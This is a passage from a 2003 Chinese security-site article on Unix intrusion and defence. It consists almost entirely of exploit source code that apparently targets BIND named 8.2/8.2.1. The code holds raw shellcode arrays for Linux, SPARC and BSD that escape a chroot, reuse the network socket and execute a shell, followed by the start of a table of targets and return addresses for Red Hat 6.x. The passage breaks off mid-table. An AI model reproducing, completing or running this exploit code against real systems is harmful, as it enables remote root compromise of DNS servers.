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unix入侵及防御心得(一)(2)
来源:www.vfocus.net 作者:vitter 发布时间:2003-01-05  

#include <time.h>
#include <string.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netdb.h>

char linuxcode[]=
{0xe9,0xac,0x1,0x0,0x0,0x5e,0x89,0x76,0xc,0x8d,0x46,0x8,0x89,0x46,0x10,0x8d,
0x46,0x2e,0x89,0x46,0x14,0x56,0xeb,0x54,0x5e,0x89,0xf3,0xb9,0x0,0x0,0x0,0x0,
0xba,0x0,0x0,0x0,0x0,0xb8,0x5,0x0,0x0,0x0,0xcd,0x80,0x50,0x8d,0x5e,0x2,0xb9,
0xff,0x1,0x0,0x0,0xb8,0x27,0x0,0x0,0x0,0xcd,0x80,0x8d,0x5e,0x2,0xb8,0x3d,0x0,
0x0,0x0,0xcd,0x80,0x5b,0x53,0xb8,0x85,0x0,0x0,0x0,0xcd,0x80,0x5b,0xb8,0x6,
0x0,0x0,0x0,0xcd,0x80,0x8d,0x5e,0xb,0xb8,0xc,0x0,0x0,0x0,0xcd,0x80,0x89,0xf3,
0xb8,0x3d,0x0,0x0,0x0,0xcd,0x80,0xeb,0x2c,0xe8,0xa7,0xff,0xff,0xff,0x2e,0x0,
0x41,0x44,0x4d,0x52,0x4f,0x43,0x4b,0x53,0x0,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,
0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,
0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x0,0x5e,0xb8,0x2,0x0,0x0,0x0,0xcd,0x80,0x89,
0xc0,0x85,0xc0,0xf,0x85,0x8e,0x0,0x0,0x0,0x89,0xf3,0x8d,0x4e,0xc,0x8d,0x56,
0x18,0xb8,0xb,0x0,0x0,0x0,0xcd,0x80,0xb8,0x1,0x0,0x0,0x0,0xcd,0x80,0xe8,0x75,
0x0,0x0,0x0,0x10,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x74,0x68,0x69,0x73,0x69,0x73,
0x73,0x6f,0x6d,0x65,0x74,0x65,0x6d,0x70,0x73,0x70,0x61,0x63,0x65,0x66,0x6f,
0x72,0x74,0x68,0x65,0x73,0x6f,0x63,0x6b,0x69,0x6e,0x61,0x64,0x64,0x72,0x69,
0x6e,0x79,0x65,0x61,0x68,0x79,0x65,0x61,0x68,0x69,0x6b,0x6e,0x6f,0x77,0x74,
0x68,0x69,0x73,0x69,0x73,0x6c,0x61,0x6d,0x65,0x62,0x75,0x74,0x61,0x6e,0x79,
0x77,0x61,0x79,0x77,0x68,0x6f,0x63,0x61,0x72,0x65,0x73,0x68,0x6f,0x72,0x69,
0x7a,0x6f,0x6e,0x67,0x6f,0x74,0x69,0x74,0x77,0x6f,0x72,0x6b,0x69,0x6e,0x67,
0x73,0x6f,0x61,0x6c,0x6c,0x69,0x73,0x63,0x6f,0x6f,0x6c,0xeb,0x86,0x5e,0x56,
0x8d,0x46,0x8,0x50,0x8b,0x46,0x4,0x50,0xff,0x46,0x4,0x89,0xe1,0xbb,0x7,0x0,
0x0,0x0,0xb8,0x66,0x0,0x0,0x0,0xcd,0x80,0x83,0xc4,0xc,0x89,0xc0,0x85,0xc0,
0x75,0xda,0x66,0x83,0x7e,0x8,0x2,0x75,0xd3,0x8b,0x56,0x4,0x4a,0x52,0x89,0xd3,
0xb9,0x0,0x0,0x0,0x0,0xb8,0x3f,0x0,0x0,0x0,0xcd,0x80,0x5a,0x52,0x89,0xd3,
0xb9,0x1,0x0,0x0,0x0,0xb8,0x3f,0x0,0x0,0x0,0xcd,0x80,0x5a,0x52,0x89,0xd3,
0xb9,0x2,0x0,0x0,0x0,0xb8,0x3f,0x0,0x0,0x0,0xcd,0x80,0xeb,0x12,0x5e,0x46,
0x46,0x46,0x46,0x46,0xc7,0x46,0x10,0x0,0x0,0x0,0x0,0xe9,0xfe,0xfe,0xff,0xff,
0xe8,0xe9,0xff,0xff,0xff,0xe8,0x4f,0xfe,0xff,0xff,0x2f,0x61,0x64,0x6d,0x2f,
0x73,0x68,0x0,0x2d,0x63,0x0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,0x70,0x6c,0x61,0x67,0x75,0x65,0x7a,0x5b,
0x41,0x44,0x4d,0x5d,0x31,0x30,0x2f,0x39,0x39,0x2d};

char sc[]=
{0x40,0x0,0x0,0x2e,0x1,0x0,0x0,0x0,0x90,0x3,0xe0,0xd5,0x92,0x10,0x20,0x0,
0x82,0x10,0x20,0x5,0x91,0xd0,0x20,0x0,0xa0,0x10,0x0,0x8,0x90,0x3,0xe0,0xcc,
0x92,0x10,0x21,0xff,0x82,0x10,0x20,0x50,0x91,0xd0,0x20,0x0,0x90,0x3,0xe0,
0xcc,0x82,0x10,0x20,0x3d,0x91,0xd0,0x20,0x0,0x90,0x10,0x0,0x10,0x82,0x10,
0x20,0x78,0x91,0xd0,0x20,0x0,0x90,0x10,0x0,0x10,0x82,0x10,0x20,0x6,0x91,0xd0,
0x20,0x0,0x90,0x3,0xe0,0xd7,0x82,0x10,0x20,0xc,0x91,0xd0,0x20,0x0,0x90,0x3,
0xe0,0xd5,0x82,0x10,0x20,0x3d,0x91,0xd0,0x20,0x0,0xa0,0x10,0x20,0x0,0x90,
0x10,0x0,0x10,0x82,0x10,0x20,0x6,0x91,0xd0,0x20,0x0,0xa0,0x4,0x20,0x1,0x80,
0xa4,0x20,0x1e,0x4,0xbf,0xff,0xfb,0x1,0x0,0x0,0x0,0x90,0x3,0xe0,0xc0,0xa0,
0x3,0xe0,0xc5,0xe0,0x23,0xbf,0xf0,0xa0,0x3,0xe0,0xc9,0xe0,0x23,0xbf,0xf4,
0xa0,0x3,0xe1,0x5,0xe0,0x23,0xbf,0xf8,0xc0,0x23,0xbf,0xfc,0x92,0x3,0xbf,0xf0,
0x94,0x3,0xbf,0xfc,0x82,0x10,0x20,0x3b,0x91,0xd0,0x20,0x0,0x81,0xc3,0xe0,0x8,
0x1,0x0,0x0,0x0,0x2f,0x61,0x64,0x6d,0x2f,0x6b,0x73,0x68,0x0,0x2d,0x63,0x0,
0x41,0x44,0x4d,0x52,0x4f,0x43,0x4b,0x53,0x0,0x2e,0x0,0x2e,0x2e,0x2f,0x2e,
0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,
0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x0,0x68,0x6f,0x72,0x69,0x7a,0x6f,
0x6e,0x5b,0x41,0x44,0x4d,0x5d,0x31,0x30,0x2f,0x39,0x39,0x0};

char bsdcode[]=
{0xe9,0xd4,0x1,0x0,0x0,0x5e,0x31,0xc0,0x50,0x50,0xb0,0x17,0xcd,0x80,0x31,0xc0,
0x50,0x50,0x56,0x50,0xb0,0x5,0xcd,0x80,0x89,0x46,0x28,0xb9,0xff,0x1,0x0,0x0,
0x51,0x8d,0x46,0x2,0x50,0x50,0xb8,0x88,0x0,0x0,0x0,0xcd,0x80,0x8d,0x46,0x2,
0x50,0x50,0xb8,0x3d,0x0,0x0,0x0,0xcd,0x80,0x8b,0x46,0x28,0x50,0x50,0xb8,0xa7,
0x0,0x0,0x0,0x34,0xaa,0xcd,0x80,0x8d,0x46,0xb,0x50,0x50,0xb8,0xa6,0x0,0x0,
0x0,0x34,0xaa,0xcd,0x80,0x8d,0x46,0x21,0x48,0x50,0x50,0xb8,0x3d,0x0,0x0,0x0,
0xcd,0x80,0x50,0xb8,0x2,0x0,0x0,0x0,0xcd,0x80,0x85,0xc0,0xf,0x85,0xe6,0x0,
0x0,0x0,0x8d,0x56,0x38,0x89,0x56,0x28,0x8d,0x46,0x40,0x89,0x46,0x2c,0x8d,
0x46,0x43,0x89,0x46,0x30,0x8d,0x46,0x30,0x50,0x8d,0x46,0x28,0x50,0x52,0x50,
0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0x50,0x50,0xb8,0x1,0x0,0x0,0x0,0xcd,0x80,
0xe8,0xbc,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x62,0x6c,0x61,0x68,
0x62,0x6c,0x61,0x68,0x73,0x61,0x6d,0x65,0x74,0x68,0x69,0x6e,0x67,0x79,0x65,
0x74,0x61,0x6e,0x6f,0x74,0x68,0x65,0x72,0x73,0x70,0x61,0x63,0x65,0x66,0x6f,
0x72,0x61,0x73,0x6f,0x63,0x6b,0x61,0x64,0x64,0x72,0x73,0x74,0x72,0x75,0x63,
0x74,0x75,0x72,0x65,0x62,0x75,0x74,0x74,0x68,0x69,0x73,0x74,0x69,0x6d,0x65,
0x66,0x6f,0x72,0x74,0x68,0x65,0x62,0x73,0x64,0x73,0x68,0x65,0x6c,0x6c,0x63,
0x6f,0x64,0x65,0x66,0x6f,0x72,0x74,0x75,0x6e,0x61,0x74,0x6c,0x79,0x74,0x68,
0x69,0x73,0x77,0x69,0x6c,0x6c,0x77,0x6f,0x72,0x6b,0x69,0x68,0x6f,0x70,0x65,
0x6f,0x6b,0x69,0x74,0x68,0x69,0x6e,0x6b,0x65,0x6e,0x6f,0x75,0x67,0x68,0x73,
0x70,0x61,0x63,0x65,0x6e,0x6f,0x77,0x0,0x70,0x6c,0x61,0x67,0x75,0x65,0x7a,
0x5b,0x41,0x44,0x4d,0x5d,0x20,0x42,0x53,0x44,0x20,0x63,0x72,0x61,0x70,0x70,
0x79,0x20,0x73,0x68,0x65,0x6c,0x6c,0x63,0x6f,0x64,0x65,0x20,0x2d,0x20,0x31,
0x30,0x2f,0x39,0x39,0x31,0xd2,0xe9,0x3f,0xff,0xff,0xff,0x8d,0x46,0x4,0x50,
0x8d,0x46,0x8,0x50,0x52,0x52,0xb8,0x1f,0x0,0x0,0x0,0xcd,0x80,0x5a,0x83,0xf8,
0x0,0x75,0x6,0x80,0x7e,0x9,0x2,0x74,0xc,0x52,0x52,0xb8,0x6,0x0,0x0,0x0,0xcd,
0x80,0x42,0xeb,0xd7,0x6a,0x0,0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0x6a,
0x1,0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0x6a,0x2,0x52,0x52,0xb8,0x5a,
0x0,0x0,0x0,0xcd,0x80,0xeb,0x29,0x5e,0x46,0x46,0x46,0x46,0x46,0x8d,0x56,0x38,
0x89,0x56,0x28,0xc7,0x46,0x2c,0x0,0x0,0x0,0x0,0x8d,0x46,0x34,0x50,0x8d,0x46,
0x28,0x50,0x52,0x52,0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0xe9,0xc1,0xfe,0xff,0xff,
0xe8,0xd2,0xff,0xff,0xff,0xe8,0x27,0xfe,0xff,0xff,0x2e,0x0,0x41,0x44,0x4d,
0x52,0x4f,0x43,0x4b,0x53,0x0,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,
0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,
0x0,0x2e,0x2f,0x0,0x0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0x0,0x0,0x0,0x0,0x2f,0x61,0x64,0x6d,0x2f,0x73,0x68,0x0,0x2d,0x63,0x0,
0x74,0x6f,0x75,0x63,0x68,0x20,0x2f,0x74,0x6d,0x70,0x2f,0x59,0x4f,0x59,0x4f,
0x59,0x4f,0x0};

char bsdnochroot[]=
{0xe9,0x79,0x1,0x0,0x0,0x5e,0x50,0xb8,0x2,0x0,0x0,0x0,0xcd,0x80,0x85,0xc0,0xf,
0x85,0xe6,0x0,0x0,0x0,0x8d,0x56,0x38,0x89,0x56,0x28,0x8d,0x46,0x40,0x89,0x46,
0x2c,0x8d,0x46,0x43,0x89,0x46,0x30,0x8d,0x46,0x30,0x50,0x8d,0x46,0x28,0x50,
0x52,0x50,0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0x50,0x50,0xb8,0x1,0x0,0x0,0x0,
0xcd,0x80,0xe8,0xbc,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0x0,0x0,0x0,0x62,0x6c,
0x61,0x68,0x62,0x6c,0x61,0x68,0x73,0x61,0x6d,0x65,0x74,0x68,0x69,0x6e,0x67,
0x79,0x65,0x74,0x61,0x6e,0x6f,0x74,0x68,0x65,0x72,0x73,0x70,0x61,0x63,0x65,
0x66,0x6f,0x72,0x61,0x73,0x6f,0x63,0x6b,0x61,0x64,0x64,0x72,0x73,0x74,0x72,
0x75,0x63,0x74,0x75,0x72,0x65,0x62,0x75,0x74,0x74,0x68,0x69,0x73,0x74,0x69,
0x6d,0x65,0x66,0x6f,0x72,0x74,0x68,0x65,0x62,0x73,0x64,0x73,0x68,0x65,0x6c,
0x6c,0x63,0x6f,0x64,0x65,0x66,0x6f,0x72,0x74,0x75,0x6e,0x61,0x74,0x6c,0x79,
0x74,0x68,0x69,0x73,0x77,0x69,0x6c,0x6c,0x77,0x6f,0x72,0x6b,0x69,0x68,0x6f,
0x70,0x65,0x6f,0x6b,0x69,0x74,0x68,0x69,0x6e,0x6b,0x65,0x6e,0x6f,0x75,0x67,
0x68,0x73,0x70,0x61,0x63,0x65,0x6e,0x6f,0x77,0x0,0x70,0x6c,0x61,0x67,0x75,
0x65,0x7a,0x5b,0x41,0x44,0x4d,0x5d,0x20,0x42,0x53,0x44,0x20,0x63,0x72,0x61,
0x70,0x70,0x79,0x20,0x73,0x68,0x65,0x6c,0x6c,0x63,0x6f,0x64,0x65,0x20,0x2d,
0x20,0x31,0x30,0x2f,0x39,0x39,0x31,0xd2,0xe9,0x3f,0xff,0xff,0xff,0x5e,0x8d,
0x46,0x4,0x50,0x8d,0x46,0x8,0x50,0x52,0x52,0xb8,0x1f,0x0,0x0,0x0,0xcd,0x80,
0x5a,0x83,0xf8,0x0,0x75,0x6,0x80,0x7e,0x9,0x2,0x74,0xc,0x52,0x52,0xb8,0x6,
0x0,0x0,0x0,0xcd,0x80,0x42,0xeb,0xd7,0x6a,0x0,0x52,0x52,0xb8,0x5a,0x0,0x0,
0x0,0xcd,0x80,0x6a,0x1,0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0x6a,0x2,
0x52,0x52,0xb8,0x5a,0x0,0x0,0x0,0xcd,0x80,0xeb,0x29,0x5e,0x46,0x46,0x46,0x46,
0x46,0x8d,0x56,0x38,0x89,0x56,0x28,0xc7,0x46,0x2c,0x0,0x0,0x0,0x0,0x8d,0x46,
0x34,0x50,0x8d,0x46,0x28,0x50,0x52,0x52,0xb8,0x3b,0x0,0x0,0x0,0xcd,0x80,0xe9,
0xc0,0xfe,0xff,0xff,0xe8,0xd2,0xff,0xff,0xff,0xe8,0x82,0xfe,0xff,0xff,0x2e,
0x0,0x41,0x44,0x4d,0x52,0x4f,0x43,0x4b,0x53,0x0,0x2e,0x2e,0x2f,0x2e,0x2e,
0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,
0x2f,0x2e,0x2e,0x2f,0x0,0x2e,0x2f,0x0,0x0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,0x2f,0x61,0x64,0x6d,0x2f,0x73,0x68,
0x0,0x2d,0x63,0x0,0x74,0x6f,0x75,0x63,0x68,0x20,0x2f,0x74,0x6d,0x70,0x2f,
0x59,0x4f,0x59,0x4f,0x59,0x4f,0x0};

struct arch
{
int id;
char *name;
char *code;
int codesize;
unsigned long safe;
unsigned long ret;
int length;
};

struct arch archlist[] =
{
{1, "Linux Redhat 6.x - named 8.2/8.2.1 (from rpm)", linuxcode,
sizeof(linuxcode), 0, 0xbfffd6c3, 6500},
{2, "Linux SolarDiz's non-exec stack patch - named 8.2/8.2.1",linuxcode,
sizeof(linuxcode), 0, 0x80f79ae, 6500},

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